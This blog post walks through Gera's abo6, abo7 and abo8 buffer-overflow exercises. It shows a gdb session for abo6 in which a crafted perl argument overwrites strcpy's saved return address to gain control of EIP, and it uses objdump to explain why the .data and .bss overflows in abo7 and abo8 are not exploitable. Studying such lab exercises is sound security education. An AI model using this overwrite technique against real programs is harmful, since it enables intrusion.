This post will be pretty brief, as there are no significant differences in the solution for abo6.c from other previously covered exercises, while abo7.c and abo8.c are both not exploitable. The latter two exercises demonstrate important concepts regarding the placement of variously defined variables within memory for compiled C code which I’ll outline, but it won’t take long.
abo6.c
/* abo6.c *
/* specially crafted to feed your brain by gera */
/* wwwhat'u talkin' about? */
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
This code is pretty much the same as the last exercise, but with an important difference, instead of a call to exit() there is a while loop that never ends at the end of the code. In the disassembly, this looks like the following:
0x08048428 : call 0x80482f8 0x0804842d : mov eax,DWORD PTR [ebp+12] 0x08048430 : add eax,0x8 0x08048433 : mov eax,DWORD PTR [eax] 0x08048435 : mov DWORD PTR [esp+4],eax 0x08048439 : mov eax,DWORD PTR [ebp-12] 0x0804843c : mov DWORD PTR [esp],eax 0x0804843f : call 0x80482f8 0x08048444 : jmp 0x8048444
So basically, it’s a unconditional jump that targets itself, therefore it never ends. Since there is no call to a library function like exit, we can’t overwrite an entry in the GOT or some such similar tactic to gain control of execution. However, where there is a will there is a way, and we must keep in mind that we can still write arbitrarily to memory so long as permissions allow. The solution in this case is nothing revolutionary, we’ll merely directly overwrite the saved return address of the second strcpy stack frame. This is an important reminder by Gera that being able to write a value into memory is a tool with many applications, some of which I’m sure I’m not even aware of at this point.
The one tricky part of this solution is to not attempt the to overwrite the saved return address of the second strcpy stack frame until you’ve passed exactly the same size arguments you will pass for the overwrite, because the location of the saved EIP for the stack frame will be different depending on the size of the values stored in argc. In the debugger, here is what the solution looks like.
hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./abo6 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x080483e4 : push ebp 0x080483e5 : mov ebp,esp 0x080483e7 : sub esp,0x128 0x080483ed : and esp,0xfffffff0 0x080483f0 : mov eax,0x0 0x080483f5 : sub esp,eax 0x080483f7 : mov eax,DWORD PTR [ebp+12] 0x080483fa : add eax,0x8 0x080483fd : mov eax,DWORD PTR [eax] 0x080483ff : mov DWORD PTR [esp],eax 0x08048402 : call 0x80482e8 0x08048407 : inc eax 0x08048408 : mov DWORD PTR [esp],eax 0x0804840b : call 0x8048308 0x08048410 : mov DWORD PTR [ebp-12],eax 0x08048413 : mov eax,DWORD PTR [ebp+12] 0x08048416 : add eax,0x4 0x08048419 : mov eax,DWORD PTR [eax] 0x0804841b : mov DWORD PTR [esp+4],eax 0x0804841f : lea eax,[ebp-0x118] 0x08048425 : mov DWORD PTR [esp],eax 0x08048428 : call 0x80482f8 0x0804842d : mov eax,DWORD PTR [ebp+12] 0x08048430 : add eax,0x8 0x08048433 : mov eax,DWORD PTR [eax] 0x08048435 : mov DWORD PTR [esp+4],eax 0x08048439 : mov eax,DWORD PTR [ebp-12] 0x0804843c : mov DWORD PTR [esp],eax 0x0804843f : call 0x80482f8 ---Type to continue, or q to quit--- 0x08048444 : jmp 0x8048444 End of assembler dump. (gdb) break *0x0804843f Breakpoint 1 at 0x804843f: file abo6.c, line 11. (gdb) run one two Starting program: /home/hacking/InsecureProgramming/abo6 one two Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff874) at abo6.c:11 11 strcpy(pbuf,argc[2]); (gdb) x buf 0xbffff6d0: 0x00656e6f (gdb) x &pbuf 0xbffff7dc: 0x0804a008 (gdb) print/d 0xbffff7dc - 0xbffff6d0 $1 = 268 (gdb) run $(perl -e 'print "A" x 268 . "BBBB";') CCCC The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacking/InsecureProgramming/abo6 $(perl -e 'print "A" x 268 . "BBBB";') CCCC Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff764) at abo6.c:11 11 strcpy(pbuf,argc[2]); (gdb) stepi 0x080482f8 in strcpy@plt () (gdb) where #0 0x080482f8 in strcpy@plt () #1 0x08048444 in main (argv=3, argc=0xbffff764) at abo6.c:11 (gdb) info frame 0 Stack frame at 0xbffff5b0: eip = 0x80482f8 in strcpy@plt; saved eip 0x8048444 called by frame at 0xbffff6e0 Arglist at 0xbffff5a8, args: Locals at 0xbffff5a8, Previous frame's sp is 0xbffff5b0 Saved registers: eip at 0xbffff5ac (gdb) run $(perl -e 'print "A" x 268 . "\xac\xf5\xff\xbf";') BBBB The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/hacking/InsecureProgramming/abo6 $(perl -e 'print "A" x 268 . "\xac\xf5\xff\xbf";') BBBB Breakpoint 1, 0x0804843f in main (argv=3, argc=0xbffff764) at abo6.c:11 11 strcpy(pbuf,argc[2]); (gdb) next Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
abo7.c and abo8.c
These two exercises as mentioned previously are unexploitable. They highlight where variables are placed in memory when declared in a certain manner using C.
abo7.c
/* abo7.c *
* specially crafted to feed your brain by gera */
/* sometimes you can, *
* sometimes you don't *
* that's what life's about */
char buf[256]={1};
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}
Here you have an initialized global variable in the form of buf. You can see pretty easily using the versatile objdump command that while this is a legitimate buffer overflow (using an unbounded function like strcpy), the location of this variable precludes any useful behavior for taking control of the program.
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo7 | grep buf
080495a0 g O .data 00000100 buf
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo7
abo7: file format elf32-i386
abo7
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x080482b0
<...snip>
10 .plt 00000040 08048270 08048270 00000270 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 000001a0 080482b0 080482b0 000002b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001c 08048450 08048450 00000450 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00000008 0804846c 0804846c 0000046c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 08048474 08048474 00000474 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .ctors 00000008 08049478 08049478 00000478 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dtors 00000008 08049480 08049480 00000480 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .jcr 00000004 08049488 08049488 00000488 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000c8 0804948c 0804948c 0000048c 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 00000004 08049554 08049554 00000554 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 00000018 08049558 08049558 00000558 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 00000120 08049580 08049580 00000580 2**5
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000004 080496a0 080496a0 000006a0 2**2
ALLOC
080495a0 g O .data 00000100 buf
080496a0 g *ABS* 00000000 _edata
08048419 g F .text 00000000 .hidden __i686.get_pc_thunk.bx
08048374 g F .text 0000002a main
08048258 g F .init 00000000 _init
abo8.c
Gera says: Don’t stay static
/* abo8.c *
* specially crafted to feed your brain by gera */
/* spot the difference */
char buf[256];
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}
Gera continues: From the top of your head, what do you think is generally more safe, a program dynamically linked to its libraries or one statically linked to them? Now go and try it out!
In this next example, very similar restrictions apply, with Gera challenging you to spot the difference between the two. Since buf in this case is uninitialized, it is stored in the .bss section of the ELF executable.
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo8 | grep buf
080495a0 g O .bss 00000100 buf
hacking@hacking-theart:~/InsecureProgramming $ objdump -x abo8
abo8: file format elf32-i386
abo8
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x080482b0
<...snip...>
10 .plt 00000040 08048270 08048270 00000270 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 000001a0 080482b0 080482b0 000002b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001c 08048450 08048450 00000450 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00000008 0804846c 0804846c 0000046c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 08048474 08048474 00000474 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .ctors 00000008 08049478 08049478 00000478 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dtors 00000008 08049480 08049480 00000480 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .jcr 00000004 08049488 08049488 00000488 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000c8 0804948c 0804948c 0000048c 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 00000004 08049554 08049554 00000554 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 00000018 08049558 08049558 00000558 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 0000000c 08049570 08049570 00000570 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000120 08049580 08049580 0000057c 2**5
ALLOC
23 .comment 0000012f 00000000 00000000 0000057c 2**0
CONTENTS, READONLY
<...snip...>
080495a0 g O .bss 00000100 buf
0804957c g *ABS* 00000000 _edata
08048419 g F .text 00000000 .hidden __i686.get_pc_thunk.bx
08048374 g F .text 0000002a main
08048258 g F .init 00000000 _init
I’m a little disconcerted by the fact that I’m not sure what Gera was driving at with his hints in this one, I’ve been over and over it, and I’m pretty sure the compilation options don’t matter. If you were to compile this as a statically-linked executable, you’d still have almost nothing to work with to control execution, because buf still exists in a memory region that’s pretty much useless to have a buffer overflow in. I’m sure there is some point, but I don’t see it. It may be that with an older compiler on an older distribution this example had some useful lessons to teach, certainly the point about .data versus .bss is well taken. In a previous exercise, I alluded to a paper by Juan M. Bello Rivas (see Books & Pubs for more) on overwriting .dtors 0xFFFFFFFF values to redirect execution which I think would also have some possibilities for these examples, but I don’t have an old enough system to test on.
For the last word on this particular issue (and the general usefulness of control of variables in these sections) I’d like to provide an excerpt from the book The Art of Software Security Assessment by Mark Dowd, John McDonald, and Justin Schuh. This book is a nice resource to have, I’d recommend that if you don’t already own it you go purchase a copy and keep it on the shelf, using it as a pre-Google resource or jumping off point.
Global and Static Data Overflows
Global and static variables are used to store data that persists between different function calls, so they are generally stored in a different memory segment than stack and heap variables are. Normally, these locations don’t contain general program runtime data structures, such as stack activation records and heap chunk data, so exploiting an overflow in this segment requires application-specific attacks similar to the vulnerability in Listing 5-2. Exploitability depends on what variables can be corrupted when the buffer overflow occurs and how the variables are used. For example, if pointer variables can be corrupted, the likelihood of exploitation increases, as this corruption introduces the possibility for arbitrary memory overwrites.
Listing 5-2
Off-by-One Length Miscalculation
int authenticate(char *username, char *password) { int authenticated; char buffer[1024]; authenticated = verify_password(username, password); if(authenticated == 0) { sprintf(buffer, "password is incorrect for user %s\n", username); log("%s", buffer); } return authenticated; }
Next up, we screw with malloc and make it to what we want, trying to learn something about it’s implementation to boot.